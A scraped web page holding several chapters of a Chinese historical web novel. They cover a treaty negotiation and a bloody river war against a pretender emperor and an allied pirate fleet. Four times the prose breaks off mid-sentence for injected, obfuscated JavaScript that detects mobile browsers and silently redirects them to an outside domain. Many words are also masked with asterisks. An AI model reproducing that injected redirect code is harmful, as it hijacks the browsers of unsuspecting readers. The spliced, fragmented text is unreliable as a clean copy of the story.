裴明熙点了点头:“同意是同意了,就是要求有点儿难办。” 萧玄策朗声笑了:“你这孩子,如果哪天你爹不疼你了,赶紧回咱们大周去,干爹可是会把你当成心头宝一般。” “你可记住了,别到时候我投奔去了,你只顾着自己的媳妇和孩子,再不愿意搭理我。”裴明熙自己倒茶,扭头对外面伺候的人说道:“还不把温粥和醒酒茶送进来,去准备热说,一会儿还要是沐浴呢。” “是。”外面伺候的人领命退下了。 裴明熙煞有介事的说:“不过,我可听说了,我爹召集可多人似……” 不等裴明熙说完,萧玄策直接捂住了她的嘴:“可不能说,囡囡是想要让干爹好,干爹心里知道,但事关大昭政事,就算只有你我二人也绝不可说。” 裴明熙心里突然一酸,她是在算计他啊! 真是的,对自己这么好作甚?造孽了,心里头好难过怎么办? 萧玄策收回手,坐在椅子上:“大昭和大周能太平百年,也是我心里最愿意的,只要大昭不对大周动武,如你所说,除了大昭还有很多地方可以去,可以征战呢。” 看看吧,这就是个十分有侵略性的男人,反正就是闲不住,罢了,裴明熙觉得自己无需管那么多,朝代更迭就像是春夏秋冬四季轮转一般,是规律。 “义父,我三姨母最近得到了一些玉蜀黍的种子,给你看。”裴明熙从挎包里抓出来一把玉蜀黍颗粒,放在桌子上:“这个可厉害了,主要是粮食收回去后,剩下的秸秆还能喂牛羊,我看过舆图了,西域三十六国都有可以耕种的田地,回头再多要一些瓜果的种子,西域三十六国也有很多地方种瓜果最好了。” 萧玄策定定的看着裴明熙:“囡囡,你为何对我如此好啊?” “因为你是我义父啊。”裴明熙认真的说,可心里却一阵呜呼哀哉,还不是因为他对自己太好了,自己需要弥补一下,否则良心上过不去嘛。 萧玄策笑了。 用了温热的粥,身体都舒服了不少,沐浴更衣后,萧玄策直接带着裴明熙出去看景儿了。 银楼、布庄、粮铺,萧玄策在京城置办了半条街的铺面,一摞房契放在裴明熙的手里:“这是义父给女儿存的嫁妆,等长大后,不管嫁到哪里,你都底气足。” “义父,我收下了。”裴明熙没有谦让,只要大周和大昭不打仗,自己愿意多为萧玄策打算一些,虽然很多事不能放在明面上,可众合商会啊,足够自己在不伤害任何人的情况下,大展拳脚。 裴祈安下了早朝,裴明熙带着萧玄策已经到了。 御书房里。 裴祈安把昨日萧玄策送来的钥匙还给了他:“流火炮一门十万两雪花银,你掂量掂量天道盟所有资产,能换多少,多了不卖。” 萧玄策愕然,裴祈安这也算是取之有道了啊。 “使团一年可去大周一次,粮种每年都会跟大昭百姓一个价卖给大周,条件是大宛战马,每年给大昭三千匹,可行?”裴祈安看着萧玄策。 萧玄策看着钥匙,想到了裴明熙说的要求有点儿难办,果然是难办,大宛确实盛产宝马良驹,可一年三千匹,确实太多了。 “有商量吗?”萧玄策问。 裴祈安点头:“当然,既是要商量,就从流火炮开始。” 好家伙,这还商量个啥啊? 萧玄策苦笑:“无需商量了,我们盟约为证吧。” “玄策兄,盟约,真的能为证吗?”裴祈安淡淡的问。 第317章 可谁有知道是不是蓄谋已久呢 这话让萧玄策本就尴尬的心情,更尴尬了几分。 裴祈安倒是没乘胜追击,而是让人起草盟约。 签订盟约后,裴祈安让**大方方的清点了天道盟所有的账目,也承诺让天道盟所有人回去大周。 就在这边事情尘埃落定的时候,萧玄策接到了密报,泾河府一带爆发了大战,以赵诚为首的青云峰和集结了许多山寨的讨伐大军在泾水河上打起来了。 而此时,泾拒收河上已经**了很多船只,赵诚率领漕帮的人据守北岸,南岸是绵延数十里的大军,这些大军的舰船跟自己的舰船不相上下,东方文和说过,这些人背后是有人支持的,但不是大周。 赵城死死地盯着对面,不管是什么人背后支持这些所谓的义军,自己都要挡住他们! 江南颗粒归仓可京城还没有,百姓刚有机会能过上好日子,绝对不能让任何人破坏这样的局面。 泾水河的河面上,浓重的晨雾尚未散尽,如同悬垂的灰白纱幔,将两岸的山林遮掩得影影绰绰。然而这片平日静谧的河水,此刻却沸腾了起来。 赵诚伫立在旗舰的船楼上,一身青灰劲装,目光如刀,穿透薄雾,死死盯住下游那一片黑压压的、正在逆流逼近的庞大船队。那是数十个山寨拼凑出的义军,前头的船挂着义军大旗,船型杂乱无章,大小不一,但最后面的舰船却绝不是这些所谓的义军能造出来的,再者对方仗着数量众多,像一群嗅到血腥味的嗜水狼群,扑涌而来。 “擂鼓!”赵诚的声音不高,却清晰地在喧嚣的河风中传开。 咚!咚!咚! 沉闷而巨大的战鼓声骤然在青云峰主船上炸响,如同雷霆的心脏开始搏动。紧接着,周围二十余艘战船同时应和,鼓声震荡着水面,连波纹都似乎被这声威压得更加急促。 “迎敌!” “**箭准备!” “钩拒手就位!” 各船头目声嘶力竭的吼声在鼓声间隙中响起。训练有素的青云峰水匪们迅速行动,硬木**床的绞盘发出令人牙酸的吱呀声,粗长的**箭闪烁着寒光,对准了前方。手持长杆钩拒的汉子们则伏在船舷,肌肉紧绷,如同蓄势待发的猎豹。 义军船队越来越近,已经能看清对方船上那些面目狰狞、挥舞着各式兵刃的山匪。他们仗着人多势众,发出海啸般的狂呼乱叫,箭矢零零星星地射过来,大多无力地落入水中。 “放!”赵诚猛地挥下手。 嘣!嘣!嘣! 十数支婴儿手臂粗的**箭撕裂空气,发出尖锐的呼啸,猛地扎进义军冲在最前的几条小艇船体。木屑爆裂,惨叫声顿时响起。一支巨**甚至直接将一条船上的匪首贯穿,带着血雨腥风,将其死死钉在船板上。 第一波打击并未让义军退缩,反而激起了凶性。更多的船只不要命地靠上来,如同蚁群附骨“撞上去!缠住他们!”义军中有**吼。 几条快艇凭借灵活,险之又险地避开**箭,狠狠撞在赵诚一侧的艨艟船上。船身剧烈摇晃,船上的匪徒立刻抛出飞爪钩索,咬着刀,试图攀舷强攻。 “砍绳索!钩拒手,把他们推开!”艨艟船上的头目厉声命令。 长长的竹制钩拒猛地探出,狠狠顶在快艇的船帮上。数名青云峰水匪发一声喊,同时用力,竟将那快艇推得倾斜,几个正欲攀爬的义军匪徒惊叫着落入水中,旋即被混战的船桨砸中或是被湍急的河水卷走。水面开始泛起浑浊的红色。 真正的混战开始了。 越来越多的义军船只贴近,箭矢在空中交错乱飞,不断有人中箭落水。接舷战在每一处上演。刀剑碰撞的锐响、垂死的哀嚎、愤怒的咆哮、船只碰撞的闷响,彻底取代了战鼓,成为河面上的主旋律。 赵诚的旗舰也被三条敌船盯上,从不同方向靠拢。他面色冷峻,拔出腰间长刀:“来的好!”身先士卒,跃过船舷,精准地落在一艘敌船上。刀光如匹练般展开,血光迸现,瞬间清空了一小片甲板。主将的勇武极大地激励了青云峰部众,他们死死护住旗舰,与登船的敌人厮杀在一起。 河水被鲜血染红,挣扎的人体、破碎的木板、散乱的兵 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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赵城振臂高声:“对!不能!凡**求荣者,杀无赦!凡踏入大昭国土者!杀无赦!朝廷大军明日就到,兄弟们,我们能不能守住!” “拼了命也要守!” 这些本是落草为寇的汉子们,一个个气贯长虹一般。 赵诚偏头看东方文和:“你,没有想到会是这样吧?” 东方文和拱手一礼:“是某失算了,谁也没想到这么快就被外族盯上了,朝廷一定会很快支援的。” 赵诚缓缓地吸了口气:“我们觉得是突然,可谁有知道是不是蓄谋已久呢?” 第318章 京城八风不动,泾水血流成河 飞鸽传书早萧玄策一步到了裴祈安的手里。 裴祈安拿出来五师兄绘制的海图,圈出来三个小国,调兵往归海府去,归海府截断所有来犯之敌退路,关门打狗,务必要一网打尽。 与此同时,漠北接到了飞鸽传书,调兵奔赴神女山,从神女山源头到江南府,直接把这些人包饺子,困在泾水河上。 安排妥当,裴祈安如常上朝,处理政务。 这个让萧玄策太吃惊了,他以为最低起码裴祈安会着急,可非但没着急,竟还带着一家人往京郊去,参与百姓秋收。 他不会以为裴祈安还不知道泾河府那边这次真不是小打小闹了,但裴祈安如此淡然,说起来才是更可怕的,没有底气,能这般? 甚至萧玄策都在等着裴祈安让他出兵襄助,显然,裴祈安根本没有这个打算。 若非如今自己身份敏感,他都想要去泾水河看看大昭的将士们是如何战斗的。 此时,泾水河北岸。 赵诚见到了罗政。 罗政翻身下马,抱拳一礼:“赵将军,受苦了。” 赵诚摇了摇头:“无妨,幸好守住了,对得起黎民百姓。” 没有提朝廷,赵诚是在表明自己的态度,罗政也没有再说别的,安排自己人立刻清理战场,稍作休整请赵诚过来推沙盘。 “皇上的意思是全诛。”罗政说。 赵诚笑了:“大昭皇帝本就是这样的做派才对,纪家勾结这些人,想要颠覆大昭,陷百姓于水深火热中,掘坟鞭尸也不为过。” 翌日,罗政率军,赵诚坐陪,水面上两军对垒。 “罗爱卿,背主求荣污了罗家的清誉,你若放下武器,朕既往不咎。”穿着龙袍的人走到甲板前,看着罗政,缓缓说道。 罗政笑了:“是哪家的门没关好,蹦出来一个你?你算老几啊??” “孤乃大夏流落在外的血脉,如今大夏倾倒,身为郎家人不可袖手旁观,兴师而来,势必要杀到京城,活捉恶奴裴祈安,告慰郎家列祖列宗。”顿了一下,那人又说:“孤,郎乾,必定要让裴祈安认罪伏诛!还我大夏**河山!” 赵诚直接拉弓,一箭射过去算是问候,指着郎乾的鼻子破口大骂:“闭上你的鸟嘴!还还你大夏**河山,你咋不说你是大梁后代呢?那样保不齐信你的人更多,你在不要大梁的**河山呢?老百姓刚过两天好日子,就遇到了你这么个蠢货出来,别人把你推到前面当靶子,你还真以为自己是个玩意儿了!老子非弄死你不可,休想上岸!就在水里当王八吧!” 罗政都想给赵诚挑大拇指了,这话说的,没毛病啊! “放肆!别以为孤不知道你的底细,你就是晏家军的一条狗!你就和裴祈安是一路货色,沆瀣一气的无德之人!”郎乾不甘示弱的骂回来了。 赵诚被气笑了:“你算个屁!” “话不投机半句多,孤身后是源源不断的大军,你们海战没胜算!”郎乾说。 罗政抬起手指着郎乾:“所以,你回不到海里,泾水河就是你葬身之地,你和你身后的所有人,都会成为泾水河里的鱼食!” 战鼓声声,郎乾只能缩回去,河面上两军对垒,白老爷子率领水鬼准备在一旁,若论水里的事,没有人比漕帮更适合了,并且泾水河是漕帮的老窝,河底下有多少石头都了若指掌。 河面上的血腥僵持被一声尖锐的螺号打破。这号声并非来自喧嚣的战场中央,而是从下游义军船队的侧后方传来,带着一种冰冷的、令人不安的穿透力。 正在指挥手下疯狂冲击青云峰旗舰的义军作战的庞冲,闻声猛地回头。他是个满脸横肉的彪形大汉,一身腱子肉被水花和血水浸得油亮,此刻却皱紧了眉头。那号声他听得懂,是预警,是示急。 “后面怎么回事?!”庞冲一把抓过身旁的亲信,嘶吼道。 亲信一脸茫然和惊恐,努力向后方眺望。只见义军船队尾部的些许船只正莫名地开始摇晃、减速,甚至打横,乱成了一团。隐约间,似乎能看到一些湿漉漉、如同水魅般的身影正悄无声息地从船舷翻上,手中短刃的寒光在水汽中一闪而逝,随后便是短促的惨叫和落水声。 “水…水鬼!是漕帮的水鬼!”亲信终于看清,失声尖叫,声音里充满了恐惧。 庞冲的心猛地一沉。他光顾着正面人挤人、船挨船地猛冲猛打,企图用绝对的人数压垮训练有素的罗政和赵诚,却忘了朝廷手里还捏着漕帮这张底牌,忘了泾水之下,还能藏人! 水下,是另一个无声却更加致命的战场。 数十名漕帮精锐水鬼,口衔芦管,身着紧身水靠,如同灵活的巨鱼,悄无声息地潜游到联军船队的下方。他们两人一组,配合默契,一人用特制的凿子和锤头对准敌船吃水线下的船板,另一人则手持分水刺或短刀,警惕地护卫。 咚…咚…咚…沉闷的凿击声被水流和表面的喊杀声完美掩盖。木屑从凿口缓缓溢出。很快,一个窟窿被凿开,冰冷的河水立刻嘶吼着向内倒灌。船上的义军匪徒正挥舞着兵刃向前吼叫,完全没察 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16277143|175760||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 觉到脚下的死亡正在迅速降临。 有些水鬼则更为直接,利用爪钩迅速攀上船尾或侧舷。这些位置的守备往往最为薄弱。他们如同鬼魅般跃上甲板,湿漉漉的身影滴着水,手中的短刃精准而狠辣,专门抹向毫无防备的敌人的咽喉,或者从背后将人捅穿,随即毫不停留地翻身下水,消失在浑浊的河水中,只留下甲板上迅速蔓延的混乱和惊惶。 水面之上,战局瞬间逆转。 义军后方的船只开始接二连三地进水、倾斜、下沉。船上的匪徒惊慌失措,他们或许不惧正面刀剑搏杀,但对这种来自脚下、无声无息的毁灭却充满了原始的恐惧。惨叫声、落水声、船只解体声从后方不断传来。 “后面船沉了!” “有水鬼!船底漏了!” “快跑啊!” 恐慌如同瘟疫般在义军船队中急速蔓延。后面的船想掉头逃跑,中间的船被挡住去路还不明所以,前面的船还在拼命向前冲,整个阵型彻底陷入了混乱和自我拥堵之中。 赵诚站在船楼,敏锐地捕捉到了战机。他脸上水珠和血珠混杂,眼神却亮得惊人。 “他们的后阵已乱!全军压上!**手,覆盖射击混乱区域!所有船只,给我冲垮他们!”罗政命令如同出鞘的利剑,瞬间传递整个青云峰舰队。 青云峰和雁门关合在一起的所有将士们的士气暴涨。 战鼓再次擂响,变得激昂而充满杀意。箭矢如同瓢泼大雨般向着陷入混乱的义军中后阵倾泻而去,大量无处可躲的义军匪徒中箭倒地。青云峰的战船则趁机猛冲猛打,用坚固的船头撞开那些已经失去指挥、乱作一团的敌船。 庞冲目瞪欲裂,他挥舞着鬼头刀,连劈了两个惊慌后退的手下,试图稳住阵脚:“顶住!不许退!跟他们拼了!”但他一个人的怒吼,此刻显得如此苍白无力,很快被更大的混乱和杀声淹没。他亲眼看到一艘侧翼的船在水鬼的破坏和撞击下,迅速倾覆,上面的手下像下饺子一样掉进河里,被青云峰船上的钩拒手和弓箭手无情地猎杀。 水面彻底被染成赤红,漂浮着密密麻麻的尸首、破碎的船板和挣扎求生的落水者。义军所谓的“**战术”,在漕帮水鬼这记精准狠辣的“掏心”攻击下,彻底变成了一个笑话,反而因为船只过于密集,导致了更大的灾难。 赵诚冷笑一声,目光锁**远处那艘最大的、还在负隅顽抗的敌船——那一定是郎乾的座舰。 “调头,对准郎乾的船!水鬼队重点照顾!我要活捉郎乾!” 第319章 纪家真正的主子站起来了,谁还敢乱吠 郎乾躲在楼船的桌子底下,面如土灰。 “快走!”纪长歌过来拉着郎乾下到楼船下层,扔了一套水手穿着的衣服:“换上,有小船。” 郎乾过来一把抓住了纪长歌的衣领:“你们什么本事也没有,就敢让我当挡箭牌,纪长歌!纪家这次死定了!” “闭上你的臭嘴!”纪长歌一翻手,**的寒光闪过,抵住了郎乾的脖子:“别忘了,纪家说你是郎乾,你才是郎乾,说你不是,你就是个流浪汉!” 郎乾瑟缩着收回手,骂骂咧咧的换上了水手穿着的衣服,回头咬牙切齿:“逃走还有机会东山再起,若是死在这里,谁都别想好!我就烂命一条。” 纪长歌不搭理他,快步走在前面,楼船的船尾已经准备好了十多条小船,二人分别上了一艘小船,顺流而下往归海府的防线逃窜。 归海府,谭庸立在泾水河岸边,看着缓缓进来的船只,这些一部分是商船,大部分是战船,握紧拳头的手背在身后,神色肃穆。 “大人,难道都放进去?”亲兵有些咂舌,这一批过去的船有点儿多啊。 谭庸也着急,但皇上的命令是只进不出,来多少就收多少,他只能听命:“不急,援军很快就到。” 亲兵不敢多言语,但总是心里不踏实,大昭在战船上没什么优势,毕竟不是毗邻大海,再者这些年都在跟西凉打仗,海上到底有什么都不得而知,跟完全不知道底细的对手搏命,不害怕是假的,特别是还这么多船,商船里肯定都是人,战船上也是人啊,真不知道外面到底什么样子,怎么来了这么多人。 就在谭庸放进来这么多船的时候,泾河府水面上渔船像是过江之鲫,老百姓自发的来清理战场,沿途也自发的守着两边的堤坝,但凡不是本地的人一律不准上岸,朝廷动用了大量的兵马镇守。 罗政和赵诚在行军大帐里,两个人面前铺开的是海图。 “这么多小国啊?”赵诚是第一次看到海图,震惊:“朝廷早就知道?” 罗政点头:“皇上有一个好友,这么多年一直都出海,不止绘制了海图,还把外面的一些粮种都带回来了,只不过纪家当初销声匿迹,如今突然冒头打了我们一个措手不及。” 赵诚没说什么。 纪家财力惊人,这是不争的事实,又在南方,临近水路必定也频繁出海,先要趁着大昭刚刚建立,集结这么多海上小国,试图分割大昭,这背后肯定还有高人啊。 想到东方文和最开始也只不过盯着那些草寇,只能说罗政知无不言,确实打了大昭一个措手不及,若不小心应对,极有可能造成大昭生灵涂炭,所以这是立国之战。 “故意放走郎乾,是还有后手?”赵诚问。 罗政笑了:“别人送上门来,咱们若不一网打尽岂不是心慈手软了?郎乾是真是假不重要,让纪家觉得出师有名,让那些被纪家拉拢小国始终保持着希望,唯有如此,才能源源不断的给我们送来更多的船只。” 这话赵诚赞同,除了损毁严重的船只被百姓拖回去当烧柴外,但凡能修补的船只都让渔民开眼了,造船,确实是大昭的弱项,而这些船交给船匠,大昭必定也能成立最所向披靡的海军。 这完全是舍不得孩子套不到狼的打法。 漠北凤翎军护送流火炮往归海府来。 温令容骑在马背上,心里是隐隐的兴奋,谁能想到曾经在婆家被磋磨的差点儿死掉的人,如今率领一万凤翎军,五万温家军,要成为大昭的护国之军,而她,这一战也是为自己立道心,这条路从选择那天开始,就认定了。 “报!” 温令容勒住缰绳:“说。” “归海府驻兵谭庸接应的人马到了。”斥侯说。 温令容策马向前,谭庸见到来人立刻翻身下马,拱手一礼:“温将军。” “可还有外敌过河?”温令容翻身下马,还礼后问道。 “还有最后一批,这次放进去三百多条商船,战船五百不止。”谭庸说。 温令容下令,所有人原地休息,要等这些船只都过河后,她们才能入归海府。 入夜,流火炮被安排在泾水河两岸,用草木遮掩伪装。 温令容查看水道后,跟谭庸连夜商讨对策,当地渔民帮忙,水底下全部用**做成暗叫,全部都冲着西边,只要拉起,船必定搁浅在此处。 谭庸暗暗咂舌,温家一个女子都如此厉害! 原以为温令仪,不不不,当今皇后就是奇女子,谁能想得到这位平日里不显山露水的温家大小姐竟是个如此狠角色。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16277144|175760||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 那些凤翎军的女战士装备十分精良,但没有任何人会觉得朝廷偏心,在谭庸这些男人的眼里,还是觉得让女子都上战场了,对他们来说是很丢人的事,所以就算最下等的士兵都在心里暗暗发誓,真打起来一定要保护凤翎军。 就在归海府筹备拦截,一网打尽的时候,雁门关方向的泾水河上以及两岸,温慕阳带着温家军包抄上来,罗政和赵诚找准时机,再次开战! 给了纪家喘息的机会,但不多。 这一日,河面有风,天空阴沉,已经入冬的泾水河有了明显的寒意。 两岸埋伏弓箭手,白长鹤召集更多的水手训练成水鬼,随时准备给这些来犯之敌致命一击。 两岸战鼓擂动。 纪家,纪长歌立在船头,双目炯炯,大昭没多少战船,渔船都不够自己这些战船撞一下的,最开始到底太大意了,如今必定要扳回一局,要说不利的地方,泾水河水面宽阔,水道够深,可容纳这么多战船还是略显拥挤的,所以要疏散开,一定要尽快登上北岸,唯有如此才能推进当前局面,否则会被大昭困在泾水河上,长此以往,不利,这些兵士们吃喝都会成问题。 战鼓声传来,纪长歌眯起眼睛,转身回去船舱里。 船舱里站着高矮胖瘦,黑不溜秋的二十几个人,这些人是三国派来的将军,其中十几个都是跟罗政和赵诚交过手的,并且损失惨重。 “纪长歌,麻逸的损失太惨重了,你最好能兑现承诺!”巴利克扶着腰间的佩剑:“我们是要登上更广阔的陆地,而不是让你们奴役我们,**那么多人,丢了那么多船,现在还困在水里,我怀疑你们是骗子!” 纪长歌笑了:“巴利克将军,麻逸想要的唾手可得,但这世上本就如此,就算遍地黄金,想要得到也要弯腰去捡起来,所以不付出代价,怎么可能捞到好处?纪家也是堵上了一切,但纪家只是想要报仇,你们要的可比纪家多太多了,不是吗?” “你,巧舌如簧!”巴利克急了。 旁边,一直沉默不语的男子起身,抬起手指着巴利克,用流利的麻逸语骂道:“闭上你的臭嘴!想要好处就得用命去换,若是不愿意,现在就可以滚!” 纪长歌看了眼男子,纪家真正的主子站起来了,谁还敢乱吠? 第320章 两方搏命,逼也要把他们逼回水里去 “汪直,你不够绅士。”玛戈笑着把手搭在男子的手臂上:“何必发火?外面已经开始了,不如我们先登陆再说。” 汪直,是海盗,横行海面上多年,别说眼前的三国,就是在远一些的小国家也都闻风丧胆,若非他出面,三国也不会来到大昭。 汪直冷哼一声:“打!” 众人出去,各回自己国的战队中。 纪长歌过来:“主人,只怕大昭还有后手。” “用你说?大昭是个连海军都没有的国家,但是能把所有人困在一条河里,你说裴祈安是个天阉之人,是大夏豢养的一条狗,事实证明纪家确实欺骗了我们所有人!”汪直冷冷的看着纪长歌。 纪家用全部家当投诚,汪直确实想要坐一**,一拍即合后,这段日子的代价挺惨重的,但事已至此,哪里有回头路可以走? 汪直走出船舱,黑色的大氅被风吹得咧咧作响,当初作为大梁最强大的家族,因大夏的关系远走海外,算算已经快七十年了,他要回到这片土地,要坐在龙椅上,唯有如此才能告慰汪家的列祖列宗! 海战都不在话下,在一条河里还能翻船?汪直不信! 他手持令旗,站在高台上,指挥他手底下的兵开始一波一波的冲向北岸,他的战马必须踏破京城的城门! 他手里还握着这些年苦心研制出来的秘密杀器。 河风带着血腥的气味,吹拂着北岸临时垒起的土垒后方那面“罗”字旗。旗帜之下,罗政手里握着长刀,死死地盯着试图冲上北岸的这些兵士。 啐了一口:“呸!终于露出本体了。”罗政抬起手里的令旗给赵诚发信号。 赵诚看准时机,但凡有船敢扔下浮桥,见一个杀一个! 同时,白长鹤的水鬼已经下水,战术依旧没变,从最外围开始吞噬这些来犯之敌。 从早晨到下午,泾水河上已经是一片狼藉的修罗场。 泾河府所有的百姓挑着担子,挎着篮子,把最好吃喝都送到了阵前,他们不能上阵杀敌,但决不能让这些将士们挨饿。 原本赵诚与罗政兵合一处,凭借水鬼奇袭,重创了来犯之敌两次,一度将对方压制在中流。只是这一次,罗政和赵诚都知道对方势在必得,已经拿出来拼命的态度了,特别是那些黑鬼出现,他们身形高大,甚至有点儿虎,就像是不知道疼似的一直在冲锋。 破碎的船板、漂浮的尸体、倾覆的舟船几乎堵塞了河道。河水不再是清澈或微黄,而是一种令人作呕的、混合着油脂和血液的暗红色。 然而,汪直的实力远超他们想象。 “纪家是把海外仙山都搬来了吗?船怎么还没完没了!”罗政吐出一口带血的唾沫,声音嘶哑。最初的胜利喜悦早已被沉重的代价冲刷得一干二净。纪家麾下的战船数量庞大,而且坚固,那些水手和兵卒,显然也非寻常海寇,阵列森严,进退有度,即使在混乱中也能迅速重整。 赵诚的身影出现在土垒旁,他脸上的水渍未干,青灰劲装上又多添了几道破口和血痕,眼神却依旧沉静如寒潭。“纪家压上了全部,他不会退,只会更疯。”他顿了顿,看向河面,“水鬼队折了三分之一,凿沉了他们七条大船,但…杯水车薪。” 正如赵诚所言,汪直的本队动了。 最大的那艘楼船,如同移动的水上堡垒,缓缓推开前方的障碍,犁开血浪,向着北岸逼近。船楼高台上,那身黑色大氅如同死神的旗帜,在风中猎猎作响。汪直手持令旗,面容冷硬如铁。看着前方惨烈的景象,他眼中没有丝毫动摇,只有更加炽烈的火焰在燃烧。 马踏京城的信念支撑着他,也裹带着汪家七十年的流离,支撑着纪家压上的全部家当,支撑着无数追随者的野望!必须登陆,必须踏破北岸,必须兵临京城! “传令!前锋营左右散开,**床覆盖射击岸滩!登陆舟,冲!”汪直的声音透过海风,清晰地传遍旗舰。令旗挥动。 呜呜的号角声变得越发凄厉急促。 汪直舰队中,数十条体型稍小、却更显狭长的登陆快舟如同离弦之箭,从大船的缝隙中猛地窜出。每一条快舟上都挤满了顶盔掼甲、手持藤牌利刃的精锐甲士。他们伏低身体,用盾牌护住头顶,桨手拼命划动,迎着北岸射来的稀疏箭矢,亡命般地冲向滩头。 就在汪直认为势在必得的时候,十几门流火炮出现在罗政和赵诚这边。 没有任何停顿,流火炮的**声覆盖住了汪直的船队,那些冲锋的战士们像是下锅的饺子,震耳欲聋的流火炮在咆哮,装满了桐油的炮弹在空中就燃烧成了火球,落在船上就是一大片火海。 天空中划过一道道黑红色的弧线,带着死亡的呼啸,砸向河面上所有的船只,没有目标,拼命覆盖。 流火弹落地,火光四溅,猛火油粘附在任何接触到的物体上,疯狂燃烧。土垒后的赵诚站起来了,指着流火炮,兴奋的像是个孩子:“罗政!我们的!我们的!” 对,我们的。 罗政拍了拍赵诚的肩膀:“兄弟,这边是后手,我以为咱们要守不住了。” 这一刻,罗政眼圈泛红,赵诚鼻子发酸,两个人拳头碰拳头,异口同声:“干他们!全部弄死!” 汪直被吓到了,他原以为自己手里的油罐弹足够厉害,可大昭搬出来的是什么玩意儿?自己竟然没见过! 此时,河面上到处发出凄厉的惨嚎,一个个浑身着火的兵士跳进水里,水里藏着的水鬼在疯狂收割,一股股血液冒出来,损失惨重到无法估量。 火焰和浓烟覆盖了船队,阵型混乱犹如没头苍蝇,北岸和南岸箭矢的密如蝗虫过境,汪直**好几步,猛然怒吼:“撤退,往归海府去!撤退!”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16281652|175760||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>他的声音淹没在惨叫声中。 “救火!快!沙土盖灭!”但凡还在船上的人,呼喊着想要活命。 罗政目眦欲裂,大吼着指挥。豁出命也要把这些人拖死在泾水河中,而得不到汪直命令的这些人却像是回光返照一般,拼了命的上登陆舟,试图冲上浅滩,船头砸在泥水里,前方的甲士发出一声狂吼,毫不犹豫地跳下齐膝深的河水,挥舞着兵刃,踩着淤泥和河水,向着岸上发起了冲锋! “弓箭手!抛射!覆盖滩头!快!”赵诚的声音冷静得近乎冷酷,他拔出长刀,指向那些正在登陆的敌军。 弓箭手士气如虹,探出身,将弓弦拉至满月,一波箭雨带着怒意,向着滩头覆盖下去。 噗噗噗! 箭矢入肉声密集响起。正在冲锋的汪直军甲士尽管有藤牌护身,但在如此密集的箭雨下,依旧不断有人中箭倒地。河水迅速被染得更红,倒下的人被后来者踩过,惨叫声与喊杀声交织,滩头瞬间变成了血肉磨盘。 汪直能俯瞰眼前的每一处,他缓缓地闭上眼睛,乱套了,这些人不服从指挥,只能伤亡更重,甚至汪直有一种感觉,他回不去自己的海里了。 大昭军的凶悍超出了想象,他们一部分弓箭手放下弓箭,提起大刀冲到浅滩。另一部分弓箭手继续攻击。 短兵相接!肉搏开始! “弟兄们!杀光了他们!!”罗政狂吼一声,身先士卒第一个挥刀扑了上去。他的长刀势大力沉,一刀下去,直接将一个敌军的藤牌连同手臂一起砸断!身后的温家军见状,血性也被激发,纷纷拿起五花八门的兵器,迎了上去。 赵诚没有立刻投入肉搏,他依旧冷静地观察着全局。“水鬼队剩余人手,潜入水中,骚扰后续登陆船!弓手,不要停!重点射击后续登陆的敌军,阻止他们增援!” 命令被迅速执行。几名浑身湿透的水鬼再次悄无声息地滑入河中,如同水蛇般游向那些正在输送第二批兵力的登陆舟。而弓箭手则拼命拉弓,将死亡的箭矢送给那些还在水中艰难跋涉的敌人。 战斗进入了最惨烈的阶段。滩头阵地之上,双方士兵拥挤在一起,用最原始的方式厮杀。刀剑碰撞,骨骼碎裂,怒吼与哀嚎不绝于耳。罗政如同战神附体,在敌群中左冲右突,所到之处血肉横飞,但他身上也不断添加着新的伤口。 汪直站在楼船上,冷漠地注视着这一切。 他现在冷静极了,不是要登陆吗?那就用人命添。 只要能在北岸站稳脚跟,打开一个缺口,他后续的大军就能源源不断地上岸。 下定决心后,他知道所谓的保存实力没用。 “第二波,上!”他再次挥动令旗。 更多的登陆舟被放下,更多的甲士准备投入战斗。汪直的决心,就是用鲜血和尸体,硬生生铺出一条通往北岸的路! 第321章 跑?怕是都跑不掉了! 赵诚的心沉了下去。敌人的兵在发疯,最后的挣扎所爆发出来的力量是惊人的。 而自己这一方的将士们也在搏命,流火炮虽然威力巨大,但近战肉搏的时候不能用,会误伤自己人。 弓箭手的储备减少的非常迅速,水鬼长时间在水下,会失温。 就在他一筹莫展的时候,东方文和匆匆而来,他献上一计--火攻。 目标明确,最大的楼船和楼船上指挥的人,流火炮别的地方打不了,楼船作为目标绝对够用,而且桐油弹的威力足够。 赵诚点了点头,从最开始决定离开神女山回到大昭时,自己就没想过走回头路。 